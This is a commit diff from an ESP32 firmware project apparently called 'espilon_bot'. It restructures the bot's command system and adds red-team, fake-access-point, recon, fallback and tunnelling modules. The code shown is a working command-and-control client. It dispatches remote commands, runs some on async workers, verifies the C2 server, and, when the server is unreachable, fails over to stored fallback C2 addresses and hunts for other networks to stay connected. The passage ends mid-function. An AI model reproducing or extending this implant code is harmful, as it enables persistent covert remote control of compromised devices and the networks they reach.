epsilon: merge command system into core + add 5 new modules
Move command registry from components/command/ into components/core/. New modules: mod_canbus, mod_honeypot, mod_fallback, mod_redteam, mod_ota. Replace mod_proxy with tun_core (multiplexed SOCKS5 tunnel). Kconfig extended with per-module settings and async worker config.
This commit is contained in:
parent
d1b89f6fd5
commit
6d45770d98
@ -1,7 +0,0 @@
|
||||
idf_component_register(
|
||||
SRCS
|
||||
command.c
|
||||
command_async.c
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES freertos core
|
||||
)
|
||||
@ -1,59 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#include "esp_err.h" // 🔥 OBLIGATOIRE pour esp_err_t
|
||||
#include "c2.pb.h"
|
||||
|
||||
/* ============================================================
|
||||
* Limits
|
||||
* ============================================================ */
|
||||
#define MAX_COMMANDS 32
|
||||
#define MAX_ASYNC_ARGS 8
|
||||
#define MAX_ASYNC_ARG_LEN 64
|
||||
|
||||
/* ============================================================
|
||||
* Command handler prototype
|
||||
* ============================================================ */
|
||||
typedef esp_err_t (*command_handler_t)(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *request_id,
|
||||
void *ctx
|
||||
);
|
||||
|
||||
/* ============================================================
|
||||
* Command definition
|
||||
* ============================================================ */
|
||||
typedef struct {
|
||||
const char *name; /* command name */
|
||||
const char *sub; /* subcommand name (optional) */
|
||||
const char *help; /* help text (optional) */
|
||||
int min_args;
|
||||
int max_args;
|
||||
command_handler_t handler; /* handler */
|
||||
void *ctx; /* optional context */
|
||||
bool async; /* async execution */
|
||||
} command_t;
|
||||
|
||||
/* ============================================================
|
||||
* Registry
|
||||
* ============================================================ */
|
||||
void command_register(const command_t *cmd);
|
||||
void command_log_registry_summary(void);
|
||||
|
||||
/* ============================================================
|
||||
* Dispatcher (called by process.c)
|
||||
* ============================================================ */
|
||||
void command_process_pb(const c2_Command *cmd);
|
||||
|
||||
/* ============================================================
|
||||
* Async support
|
||||
* ============================================================ */
|
||||
void command_async_init(void);
|
||||
|
||||
void command_async_enqueue(
|
||||
const command_t *cmd,
|
||||
const c2_Command *pb_cmd
|
||||
);
|
||||
@ -1,108 +0,0 @@
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/queue.h"
|
||||
#include <string.h>
|
||||
|
||||
static const char *TAG = "CMD_ASYNC";
|
||||
|
||||
/* =========================================================
|
||||
* Async job structure
|
||||
* ========================================================= */
|
||||
typedef struct {
|
||||
const command_t *cmd;
|
||||
int argc;
|
||||
char argv[MAX_ASYNC_ARGS][MAX_ASYNC_ARG_LEN];
|
||||
char *argv_ptrs[MAX_ASYNC_ARGS];
|
||||
char request_id[64];
|
||||
} async_job_t;
|
||||
|
||||
static QueueHandle_t async_queue;
|
||||
|
||||
/* =========================================================
|
||||
* Worker task
|
||||
* ========================================================= */
|
||||
static void async_worker(void *arg)
|
||||
{
|
||||
async_job_t job;
|
||||
|
||||
while (1) {
|
||||
if (xQueueReceive(async_queue, &job, portMAX_DELAY)) {
|
||||
/* Recompute argv_ptrs to point into THIS copy's argv buffers.
|
||||
* xQueueReceive copies the struct by value, so the old
|
||||
* pointers (set at enqueue time) are now dangling. */
|
||||
for (int i = 0; i < job.argc; i++) {
|
||||
job.argv_ptrs[i] = job.argv[i];
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Async exec: %s", job.cmd->name);
|
||||
|
||||
job.cmd->handler(
|
||||
job.argc,
|
||||
job.argv_ptrs,
|
||||
job.request_id[0] ? job.request_id : NULL,
|
||||
job.cmd->ctx
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Init async system
|
||||
* ========================================================= */
|
||||
void command_async_init(void)
|
||||
{
|
||||
async_queue = xQueueCreate(8, sizeof(async_job_t));
|
||||
if (!async_queue) {
|
||||
ESP_LOGE(TAG, "Failed to create async queue");
|
||||
return;
|
||||
}
|
||||
|
||||
xTaskCreate(
|
||||
async_worker,
|
||||
"cmd_async",
|
||||
4096,
|
||||
NULL,
|
||||
5,
|
||||
NULL
|
||||
);
|
||||
|
||||
ESPILON_LOGI_PURPLE(TAG, "Async command system ready");
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Enqueue async command
|
||||
* ========================================================= */
|
||||
void command_async_enqueue(const command_t *cmd,
|
||||
const c2_Command *pb_cmd)
|
||||
{
|
||||
if (!cmd || !pb_cmd) return;
|
||||
|
||||
async_job_t job = {0};
|
||||
|
||||
job.cmd = cmd;
|
||||
job.argc = pb_cmd->argv_count;
|
||||
if (job.argc > MAX_ASYNC_ARGS)
|
||||
job.argc = MAX_ASYNC_ARGS;
|
||||
|
||||
for (int i = 0; i < job.argc; i++) {
|
||||
strncpy(job.argv[i],
|
||||
pb_cmd->argv[i],
|
||||
MAX_ASYNC_ARG_LEN - 1);
|
||||
job.argv_ptrs[i] = job.argv[i];
|
||||
}
|
||||
|
||||
if (pb_cmd->request_id[0]) {
|
||||
strncpy(job.request_id,
|
||||
pb_cmd->request_id,
|
||||
sizeof(job.request_id) - 1);
|
||||
}
|
||||
|
||||
if (xQueueSend(async_queue, &job, 0) != pdTRUE) {
|
||||
ESP_LOGE(TAG, "Async queue full");
|
||||
msg_error("cmd", "Async queue full",
|
||||
pb_cmd->request_id);
|
||||
}
|
||||
}
|
||||
@ -5,16 +5,21 @@ set(PRIV_REQUIRES_LIST
|
||||
mod_network
|
||||
mod_fakeAP
|
||||
mod_recon
|
||||
mod_honeypot
|
||||
mod_fallback
|
||||
mod_redteam
|
||||
mod_canbus
|
||||
esp_timer
|
||||
driver
|
||||
command
|
||||
freertos
|
||||
)
|
||||
|
||||
idf_component_register(
|
||||
SRCS "crypto.c" "process.c" "WiFi.c" "gprs.c" "messages.c" "com.c"
|
||||
"command.c" "command_async.c"
|
||||
"nanoPB/c2.pb.c"
|
||||
"nanoPB/pb_common.c"
|
||||
"nanoPB/pb_encode.c"
|
||||
"nanoPB/pb_common.c"
|
||||
"nanoPB/pb_encode.c"
|
||||
"nanoPB/pb_decode.c"
|
||||
INCLUDE_DIRS "." "nanoPB"
|
||||
|
||||
|
||||
@ -9,6 +9,7 @@
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/timers.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_event.h"
|
||||
#include "esp_netif.h"
|
||||
@ -17,18 +18,141 @@
|
||||
#include "pb_decode.h"
|
||||
|
||||
#include "freertos/semphr.h"
|
||||
#include <stdatomic.h>
|
||||
#include "utils.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
#include "fb_config.h"
|
||||
#include "fb_hunt.h"
|
||||
#endif
|
||||
|
||||
int sock = -1;
|
||||
SemaphoreHandle_t sock_mutex = NULL;
|
||||
|
||||
/* Fallback hunt flag: when true, WiFi.c skips its own reconnect logic */
|
||||
atomic_bool fb_active = false;
|
||||
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
static const char *TAG = "CORE_WIFI";
|
||||
|
||||
|
||||
|
||||
#define RX_BUF_SIZE 4096
|
||||
#define RECONNECT_DELAY_MS 5000
|
||||
#define RX_TIMEOUT_S 10
|
||||
|
||||
/* =========================================================
|
||||
* WiFi reconnect with exponential backoff + full restart
|
||||
* ========================================================= */
|
||||
#define WIFI_BACKOFF_INIT_MS 1000
|
||||
#define WIFI_BACKOFF_MAX_MS 30000
|
||||
#define WIFI_MAX_RETRIES 10 /* full restart after N failures */
|
||||
|
||||
static int wifi_retry_count = 0;
|
||||
static uint32_t wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
|
||||
static TimerHandle_t reconnect_timer = NULL;
|
||||
|
||||
static void wifi_reconnect_cb(TimerHandle_t t)
|
||||
{
|
||||
ESP_LOGI(TAG, "Reconnect attempt %d (backoff %lums)",
|
||||
wifi_retry_count + 1, (unsigned long)wifi_backoff_ms);
|
||||
|
||||
if (wifi_retry_count >= WIFI_MAX_RETRIES) {
|
||||
ESP_LOGW(TAG, "Max retries reached — full WiFi restart");
|
||||
esp_wifi_stop();
|
||||
vTaskDelay(pdMS_TO_TICKS(500));
|
||||
esp_wifi_start();
|
||||
esp_wifi_connect();
|
||||
wifi_retry_count = 0;
|
||||
wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
|
||||
return;
|
||||
}
|
||||
|
||||
esp_wifi_connect();
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* WiFi event handler — backoff reconnect on disconnect
|
||||
* ========================================================= */
|
||||
static void wifi_event_handler(void *arg, esp_event_base_t event_base,
|
||||
int32_t event_id, void *event_data)
|
||||
{
|
||||
if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_STA_DISCONNECTED) {
|
||||
wifi_event_sta_disconnected_t *evt =
|
||||
(wifi_event_sta_disconnected_t *)event_data;
|
||||
|
||||
/* If fallback hunt is active, it handles WiFi — skip reconnect */
|
||||
if (fb_active) {
|
||||
ESP_LOGI(TAG, "WiFi disconnected (reason=%d, fb_active — skipping reconnect)",
|
||||
evt->reason);
|
||||
return;
|
||||
}
|
||||
|
||||
#ifdef CONFIG_MODULE_FAKEAP
|
||||
/* If FakeAP is active, don't reconnect STA (would interfere with AP mode) */
|
||||
if (fakeap_active) {
|
||||
ESP_LOGI(TAG, "WiFi disconnected (reason=%d, fakeAP active — skipping reconnect)",
|
||||
evt->reason);
|
||||
return;
|
||||
}
|
||||
#endif
|
||||
|
||||
ESP_LOGW(TAG, "WiFi disconnected (reason=%d), retry in %lums",
|
||||
evt->reason, (unsigned long)wifi_backoff_ms);
|
||||
|
||||
wifi_retry_count++;
|
||||
|
||||
#if defined(CONFIG_FB_AUTO_HUNT) && defined(CONFIG_FB_WIFI_FAIL_THRESHOLD)
|
||||
if (wifi_retry_count >= CONFIG_FB_WIFI_FAIL_THRESHOLD && !fb_active) {
|
||||
ESP_LOGW(TAG, "WiFi failures >= %d — triggering fallback hunt",
|
||||
CONFIG_FB_WIFI_FAIL_THRESHOLD);
|
||||
extern void fb_hunt_trigger(void);
|
||||
fb_hunt_trigger();
|
||||
return;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* Schedule reconnect with backoff */
|
||||
if (reconnect_timer) {
|
||||
xTimerChangePeriod(reconnect_timer,
|
||||
pdMS_TO_TICKS(wifi_backoff_ms),
|
||||
0);
|
||||
xTimerStart(reconnect_timer, 0);
|
||||
}
|
||||
|
||||
/* Exponential backoff: 1s → 2s → 4s → ... → 30s */
|
||||
wifi_backoff_ms *= 2;
|
||||
if (wifi_backoff_ms > WIFI_BACKOFF_MAX_MS)
|
||||
wifi_backoff_ms = WIFI_BACKOFF_MAX_MS;
|
||||
}
|
||||
|
||||
if (event_base == IP_EVENT && event_id == IP_EVENT_STA_GOT_IP) {
|
||||
ip_event_got_ip_t *evt = (ip_event_got_ip_t *)event_data;
|
||||
ESP_LOGI(TAG, "Got IP: " IPSTR, IP2STR(&evt->ip_info.ip));
|
||||
|
||||
/* Reset backoff on successful connection */
|
||||
wifi_retry_count = 0;
|
||||
wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
|
||||
|
||||
if (reconnect_timer)
|
||||
xTimerStop(reconnect_timer, 0);
|
||||
}
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Pause/resume reconnect (used by Red Team hunt module)
|
||||
* ========================================================= */
|
||||
void wifi_pause_reconnect(void)
|
||||
{
|
||||
if (reconnect_timer)
|
||||
xTimerStop(reconnect_timer, 0);
|
||||
ESP_LOGI(TAG, "WiFi reconnect paused");
|
||||
}
|
||||
|
||||
void wifi_resume_reconnect(void)
|
||||
{
|
||||
wifi_retry_count = 0;
|
||||
wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
|
||||
ESP_LOGI(TAG, "WiFi reconnect resumed (backoff reset)");
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* WiFi init
|
||||
@ -43,6 +167,16 @@ void wifi_init(void)
|
||||
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
|
||||
ESP_ERROR_CHECK(esp_wifi_init(&cfg));
|
||||
|
||||
/* Reconnect timer (one-shot, started on disconnect) */
|
||||
reconnect_timer = xTimerCreate("wifi_reconn", pdMS_TO_TICKS(1000),
|
||||
pdFALSE, NULL, wifi_reconnect_cb);
|
||||
|
||||
/* Register event handlers */
|
||||
ESP_ERROR_CHECK(esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
|
||||
&wifi_event_handler, NULL));
|
||||
ESP_ERROR_CHECK(esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP,
|
||||
&wifi_event_handler, NULL));
|
||||
|
||||
wifi_config_t wifi_config = {
|
||||
.sta = {
|
||||
.ssid = CONFIG_WIFI_SSID,
|
||||
@ -83,6 +217,10 @@ static bool tcp_connect(void)
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Recv timeout: prevents blocking forever if C2 dies without FIN */
|
||||
struct timeval tv = { .tv_sec = RX_TIMEOUT_S, .tv_usec = 0 };
|
||||
lwip_setsockopt(new_sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
sock = new_sock;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
@ -94,6 +232,71 @@ static bool tcp_connect(void)
|
||||
}
|
||||
|
||||
|
||||
/* =========================================================
|
||||
* Server identity verification (challenge-response AEAD)
|
||||
*
|
||||
* Sends HELLO:device_id, server responds with AEAD-encrypted
|
||||
* challenge. If we can decrypt it (tag OK), the server has
|
||||
* the correct key and is authentic.
|
||||
* ========================================================= */
|
||||
#ifdef CONFIG_C2_VERIFY_SERVER
|
||||
static bool server_verify(void)
|
||||
{
|
||||
/* 1) Send HELLO:device_id\n */
|
||||
char hello[128];
|
||||
snprintf(hello, sizeof(hello), "HELLO:%s\n", CONFIG_DEVICE_ID);
|
||||
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
int s = sock;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
|
||||
if (lwip_write(s, hello, strlen(hello)) <= 0) {
|
||||
ESP_LOGE(TAG, "server_verify: failed to send HELLO");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 2) Read server challenge (recv timeout already set to 10s) */
|
||||
uint8_t rx_buf[256];
|
||||
int len = lwip_recv(s, rx_buf, sizeof(rx_buf) - 1, 0);
|
||||
if (len <= 0) {
|
||||
ESP_LOGE(TAG, "server_verify: no challenge received");
|
||||
return false;
|
||||
}
|
||||
rx_buf[len] = '\0';
|
||||
|
||||
/* Strip trailing newline/CR */
|
||||
while (len > 0 && (rx_buf[len - 1] == '\n' || rx_buf[len - 1] == '\r'))
|
||||
rx_buf[--len] = '\0';
|
||||
|
||||
if (len == 0) {
|
||||
ESP_LOGE(TAG, "server_verify: empty challenge");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 3) Base64 decode */
|
||||
size_t decoded_len = 0;
|
||||
char *decoded = base64_decode((char *)rx_buf, &decoded_len);
|
||||
if (!decoded || decoded_len < 28) { /* nonce(12) + tag(16) minimum */
|
||||
ESP_LOGE(TAG, "server_verify: base64 decode failed");
|
||||
free(decoded);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 4) Decrypt — AEAD tag verification proves server identity */
|
||||
uint8_t plain[256];
|
||||
int plain_len = crypto_decrypt((uint8_t *)decoded, decoded_len,
|
||||
plain, sizeof(plain));
|
||||
free(decoded);
|
||||
|
||||
if (plain_len < 0) {
|
||||
ESP_LOGE(TAG, "server_verify: AEAD verification FAILED");
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
#endif /* CONFIG_C2_VERIFY_SERVER */
|
||||
|
||||
/* =========================================================
|
||||
* Handle incoming frame
|
||||
* ========================================================= */
|
||||
@ -111,8 +314,9 @@ static void handle_frame(const uint8_t *buf, size_t len)
|
||||
|
||||
/* =========================================================
|
||||
* TCP RX loop
|
||||
* Returns: true = still connected, false = disconnected
|
||||
* ========================================================= */
|
||||
static void tcp_rx_loop(void)
|
||||
static bool tcp_rx_loop(void)
|
||||
{
|
||||
static uint8_t rx_buf[RX_BUF_SIZE];
|
||||
|
||||
@ -120,28 +324,103 @@ static void tcp_rx_loop(void)
|
||||
int current_sock = sock;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
|
||||
if (current_sock < 0) return;
|
||||
if (current_sock < 0) return false;
|
||||
|
||||
int len = lwip_recv(current_sock, rx_buf, sizeof(rx_buf) - 1, 0);
|
||||
if (len <= 0) {
|
||||
ESP_LOGW(TAG, "RX failed / disconnected");
|
||||
if (len < 0) {
|
||||
/* Timeout is normal (EAGAIN/EWOULDBLOCK) — not a disconnect */
|
||||
if (errno == EAGAIN || errno == EWOULDBLOCK) {
|
||||
return true;
|
||||
}
|
||||
ESP_LOGW(TAG, "RX error: errno=%d", errno);
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
lwip_close(sock);
|
||||
sock = -1;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
return;
|
||||
return false;
|
||||
}
|
||||
if (len == 0) {
|
||||
ESP_LOGW(TAG, "RX: peer closed connection");
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
lwip_close(sock);
|
||||
sock = -1;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* IMPORTANT: string termination for strtok */
|
||||
rx_buf[len] = '\0';
|
||||
|
||||
char *line = strtok((char *)rx_buf, "\n");
|
||||
char *saveptr = NULL;
|
||||
char *line = strtok_r((char *)rx_buf, "\n", &saveptr);
|
||||
while (line) {
|
||||
handle_frame((uint8_t *)line, strlen(line));
|
||||
line = strtok(NULL, "\n");
|
||||
line = strtok_r(NULL, "\n", &saveptr);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* C2 failover: try NVS fallback addresses on same network
|
||||
* ========================================================= */
|
||||
#ifdef CONFIG_FB_AUTO_HUNT
|
||||
|
||||
static bool try_fallback_c2s(void)
|
||||
{
|
||||
fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS];
|
||||
int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS);
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
char ip_buf[48];
|
||||
int port = CONFIG_SERVER_PORT;
|
||||
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
|
||||
ip_buf[sizeof(ip_buf) - 1] = '\0';
|
||||
|
||||
/* Parse "ip:port" format */
|
||||
char *colon = strrchr(ip_buf, ':');
|
||||
if (colon) {
|
||||
*colon = '\0';
|
||||
port = atoi(colon + 1);
|
||||
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Trying C2 fallback: %s:%d", ip_buf, port);
|
||||
|
||||
/* Close current socket */
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
if (sock >= 0) { lwip_close(sock); sock = -1; }
|
||||
xSemaphoreGive(sock_mutex);
|
||||
|
||||
/* Try connect to fallback C2 */
|
||||
struct sockaddr_in server_addr = {0};
|
||||
int new_sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (new_sock < 0) continue;
|
||||
|
||||
server_addr.sin_family = AF_INET;
|
||||
server_addr.sin_port = htons(port);
|
||||
server_addr.sin_addr.s_addr = inet_addr(ip_buf);
|
||||
|
||||
if (lwip_connect(new_sock, (struct sockaddr *)&server_addr,
|
||||
sizeof(server_addr)) != 0) {
|
||||
lwip_close(new_sock);
|
||||
continue;
|
||||
}
|
||||
|
||||
struct timeval tv = { .tv_sec = RX_TIMEOUT_S, .tv_usec = 0 };
|
||||
lwip_setsockopt(new_sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
sock = new_sock;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
|
||||
ESP_LOGI(TAG, "C2 fallback %s:%d connected", ip_buf, port);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_FB_AUTO_HUNT */
|
||||
|
||||
/* =========================================================
|
||||
* Main TCP client task
|
||||
* ========================================================= */
|
||||
@ -150,17 +429,64 @@ void tcp_client_task(void *pvParameters)
|
||||
if (!sock_mutex)
|
||||
sock_mutex = xSemaphoreCreateMutex();
|
||||
|
||||
#ifdef CONFIG_FB_AUTO_HUNT
|
||||
int tcp_fail_count = 0;
|
||||
#endif
|
||||
|
||||
while (1) {
|
||||
|
||||
/* If fallback hunt is active, wait for it to finish */
|
||||
while (fb_active) {
|
||||
vTaskDelay(pdMS_TO_TICKS(1000));
|
||||
}
|
||||
|
||||
if (!tcp_connect()) {
|
||||
#ifdef CONFIG_FB_AUTO_HUNT
|
||||
tcp_fail_count++;
|
||||
ESP_LOGW(TAG, "TCP connect failed (%d/%d)",
|
||||
tcp_fail_count, CONFIG_FB_TCP_FAIL_THRESHOLD);
|
||||
if (tcp_fail_count >= CONFIG_FB_TCP_FAIL_THRESHOLD && !fb_active) {
|
||||
/* Level 1: C2 failover on same network */
|
||||
if (try_fallback_c2s()) {
|
||||
tcp_fail_count = 0;
|
||||
goto handshake;
|
||||
}
|
||||
/* Level 2: full network hunt */
|
||||
ESP_LOGW(TAG, "All C2 unreachable — triggering fallback hunt");
|
||||
fb_hunt_trigger();
|
||||
tcp_fail_count = 0;
|
||||
continue;
|
||||
}
|
||||
#endif
|
||||
vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS));
|
||||
continue;
|
||||
}
|
||||
|
||||
#ifdef CONFIG_FB_AUTO_HUNT
|
||||
tcp_fail_count = 0;
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_C2_VERIFY_SERVER
|
||||
if (!server_verify()) {
|
||||
ESP_LOGE(TAG, "Server verification FAILED - possible MITM");
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
lwip_close(sock);
|
||||
sock = -1;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS));
|
||||
continue;
|
||||
}
|
||||
ESPILON_LOGI_PURPLE(TAG, "Server identity verified (AEAD challenge OK)");
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_FB_AUTO_HUNT
|
||||
handshake:
|
||||
#endif
|
||||
msg_info(TAG, CONFIG_DEVICE_ID, NULL);
|
||||
ESP_LOGI(TAG, "Handshake done");
|
||||
|
||||
while (sock >= 0) {
|
||||
tcp_rx_loop();
|
||||
if (!tcp_rx_loop()) break;
|
||||
vTaskDelay(1);
|
||||
}
|
||||
|
||||
|
||||
@ -1,4 +1,3 @@
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
@ -63,12 +62,20 @@ void command_log_registry_summary(void)
|
||||
for (size_t i = 0; i < registry_count; i++) {
|
||||
const char *name = registry[i] && registry[i]->name
|
||||
? registry[i]->name : "?";
|
||||
const char *sub = (registry[i] && registry[i]->sub && registry[i]->sub[0])
|
||||
? registry[i]->sub : NULL;
|
||||
const char *sep = (i == 0) ? "" : ", ";
|
||||
int n = snprintf(buf + off, sizeof(buf) - (size_t)off,
|
||||
int n;
|
||||
if (sub) {
|
||||
n = snprintf(buf + off, sizeof(buf) - (size_t)off,
|
||||
"%s%s %s", sep, name, sub);
|
||||
} else {
|
||||
n = snprintf(buf + off, sizeof(buf) - (size_t)off,
|
||||
"%s%s", sep, name);
|
||||
}
|
||||
if (n < 0 || n >= (int)(sizeof(buf) - (size_t)off)) {
|
||||
if (off < (int)sizeof(buf) - 4) {
|
||||
strcpy(buf + (sizeof(buf) - 4), "...");
|
||||
memcpy(buf + (sizeof(buf) - 4), "...", 4);
|
||||
}
|
||||
break;
|
||||
}
|
||||
@ -158,43 +165,58 @@ void command_process_pb(const c2_Command *cmd)
|
||||
if (strcmp(c->name, name) != 0)
|
||||
continue;
|
||||
|
||||
if (argc < c->min_args || argc > c->max_args) {
|
||||
/*
|
||||
* Sub-command matching: if the command has a .sub field,
|
||||
* argv[0] must match it. The sub is consumed (argv shifted
|
||||
* by 1) before passing to the handler.
|
||||
*/
|
||||
int sub_offset = 0;
|
||||
if (c->sub && c->sub[0]) {
|
||||
if (argc < 1 || strcmp(cmd->argv[0], c->sub) != 0)
|
||||
continue; /* not this sub-command, try next */
|
||||
sub_offset = 1;
|
||||
}
|
||||
|
||||
int effective_argc = argc - sub_offset;
|
||||
|
||||
if (effective_argc < c->min_args || effective_argc > c->max_args) {
|
||||
msg_error("cmd", "Invalid argument count", reqid_or_null);
|
||||
return;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Execute: %s (argc=%d)", name, argc);
|
||||
if (c->sub && c->sub[0]) {
|
||||
ESP_LOGI(TAG, "Execute: %s %s (argc=%d)", name, c->sub, effective_argc);
|
||||
} else {
|
||||
ESP_LOGI(TAG, "Execute: %s (argc=%d)", name, effective_argc);
|
||||
}
|
||||
|
||||
if (c->async) {
|
||||
/* Ton async copie déjà argv/request_id dans une queue => OK */
|
||||
command_async_enqueue(c, cmd);
|
||||
command_async_enqueue(c, cmd, sub_offset);
|
||||
return;
|
||||
}
|
||||
|
||||
/* ================================
|
||||
* SYNC PATH (FIX):
|
||||
* Ne PAS caster cmd->argv en char**
|
||||
* On construit argv_ptrs[] depuis cmd->argv[i]
|
||||
* SYNC PATH:
|
||||
* Build argv_ptrs[] from cmd->argv, skipping sub_offset
|
||||
* ================================ */
|
||||
if (argc > COMMAND_MAX_ARGS) {
|
||||
if (effective_argc > COMMAND_MAX_ARGS) {
|
||||
msg_error("cmd", "Too many args", reqid_or_null);
|
||||
return;
|
||||
}
|
||||
|
||||
char *argv_ptrs[COMMAND_MAX_ARGS] = {0};
|
||||
for (int a = 0; a < argc; a++) {
|
||||
/* Fonctionne que cmd->argv soit char*[N] ou char[N][M] */
|
||||
argv_ptrs[a] = (char *)cmd->argv[a];
|
||||
for (int a = 0; a < effective_argc; a++) {
|
||||
argv_ptrs[a] = (char *)cmd->argv[a + sub_offset];
|
||||
}
|
||||
|
||||
/* Deep-copy pour rendre sync aussi safe que async */
|
||||
char **argv_copy = NULL;
|
||||
char *arena = NULL;
|
||||
|
||||
if (!deepcopy_argv(argv_ptrs, argc, &argv_copy, &arena, reqid_or_null))
|
||||
if (!deepcopy_argv(argv_ptrs, effective_argc, &argv_copy, &arena, reqid_or_null))
|
||||
return;
|
||||
|
||||
c->handler(argc, argv_copy, reqid_or_null, c->ctx);
|
||||
c->handler(effective_argc, argv_copy, reqid_or_null, c->ctx);
|
||||
|
||||
free(argv_copy);
|
||||
free(arena);
|
||||
204
espilon_bot/components/core/command_async.c
Normal file
204
espilon_bot/components/core/command_async.c
Normal file
@ -0,0 +1,204 @@
|
||||
#include "utils.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_timer.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/queue.h"
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
static const char *TAG = "CMD_ASYNC";
|
||||
|
||||
/* =========================================================
|
||||
* Configuration
|
||||
* ========================================================= */
|
||||
#ifndef CONFIG_ASYNC_WORKER_COUNT
|
||||
#define CONFIG_ASYNC_WORKER_COUNT 2
|
||||
#endif
|
||||
|
||||
#ifndef CONFIG_ASYNC_QUEUE_DEPTH
|
||||
#define CONFIG_ASYNC_QUEUE_DEPTH 8
|
||||
#endif
|
||||
|
||||
#define ASYNC_WORKER_STACK 4096
|
||||
#define WATCHDOG_INTERVAL_MS 5000
|
||||
#define WATCHDOG_TIMEOUT_US (60 * 1000000LL) /* 60s */
|
||||
|
||||
/* =========================================================
|
||||
* Async job structure
|
||||
* ========================================================= */
|
||||
typedef struct {
|
||||
const command_t *cmd;
|
||||
int argc;
|
||||
char argv[MAX_ASYNC_ARGS][MAX_ASYNC_ARG_LEN];
|
||||
char *argv_ptrs[MAX_ASYNC_ARGS];
|
||||
char request_id[64];
|
||||
} async_job_t;
|
||||
|
||||
/* =========================================================
|
||||
* Per-worker state (watchdog tracking)
|
||||
* ========================================================= */
|
||||
typedef struct {
|
||||
volatile int64_t start_us; /* 0 = idle */
|
||||
volatile bool alerted; /* already reported to C2 */
|
||||
const char *cmd_name; /* current command name */
|
||||
char request_id[64];
|
||||
} worker_state_t;
|
||||
|
||||
static QueueHandle_t async_queue;
|
||||
static worker_state_t worker_states[CONFIG_ASYNC_WORKER_COUNT];
|
||||
|
||||
/* =========================================================
|
||||
* Watchdog task — monitors workers for stuck commands
|
||||
* ========================================================= */
|
||||
static void watchdog_task(void *arg)
|
||||
{
|
||||
while (1) {
|
||||
vTaskDelay(pdMS_TO_TICKS(WATCHDOG_INTERVAL_MS));
|
||||
|
||||
int64_t now = esp_timer_get_time();
|
||||
|
||||
for (int i = 0; i < CONFIG_ASYNC_WORKER_COUNT; i++) {
|
||||
worker_state_t *ws = &worker_states[i];
|
||||
|
||||
if (ws->start_us == 0 || ws->alerted)
|
||||
continue;
|
||||
|
||||
int64_t elapsed = now - ws->start_us;
|
||||
if (elapsed > WATCHDOG_TIMEOUT_US) {
|
||||
int secs = (int)(elapsed / 1000000LL);
|
||||
